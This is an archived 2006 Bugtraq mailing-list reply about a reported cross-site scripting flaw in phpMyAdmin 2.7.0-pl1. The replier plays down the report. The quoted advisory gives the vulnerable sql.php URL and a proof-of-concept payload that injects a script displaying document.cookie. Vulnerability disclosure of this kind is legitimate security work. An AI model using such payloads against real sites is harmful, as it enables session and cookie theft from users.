bugtraq - Re: phpMyAdmin 2.7.0-pl1

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite for Android: free password hash cracker in your pocket

[<prev] [next>] [<thread-prev] [day] [month] [year] [list]

Date: Fri, 14 Apr 2006 10:17:54 +1000
From: Kevin Waterson <kevin@...ania.net>
To: bugtraq@...urityfocus.com
Subject: Re: phpMyAdmin 2.7.0-pl1


This one time, at band camp, kr4ch@....de wrote:

If somebody has access to your phpmyadmin directory, you have a bigger issue than this

> App: phpMyAdmin 2.7.0-pl1
> Advistory by: p0w3r
> Exploit: /phpmyadmin/sql.php?lang=de-utf-8&server=1&collation_connection=utf8_general_ci&db=fu&table=fu&goto=tbl_properties_structure.php&back=tbl_properties_structure.php&sql_query=[XSS]
> Example: /phpmyadmin/sql.php?lang=de-utf-8&server=1&collation_connection=utf8_general_ci&db=fu&table=fu&goto=tbl_properties_structure.php&back=tbl_properties_structure.php&sql_query=SELECT+*+FROM+%60'%3Cscript%3Ealert(document.cookie)%3C/script%3E'%60


-- 
"Democracy is two wolves and a lamb voting on what to have for lunch. 
Liberty is a well-armed lamb contesting the vote."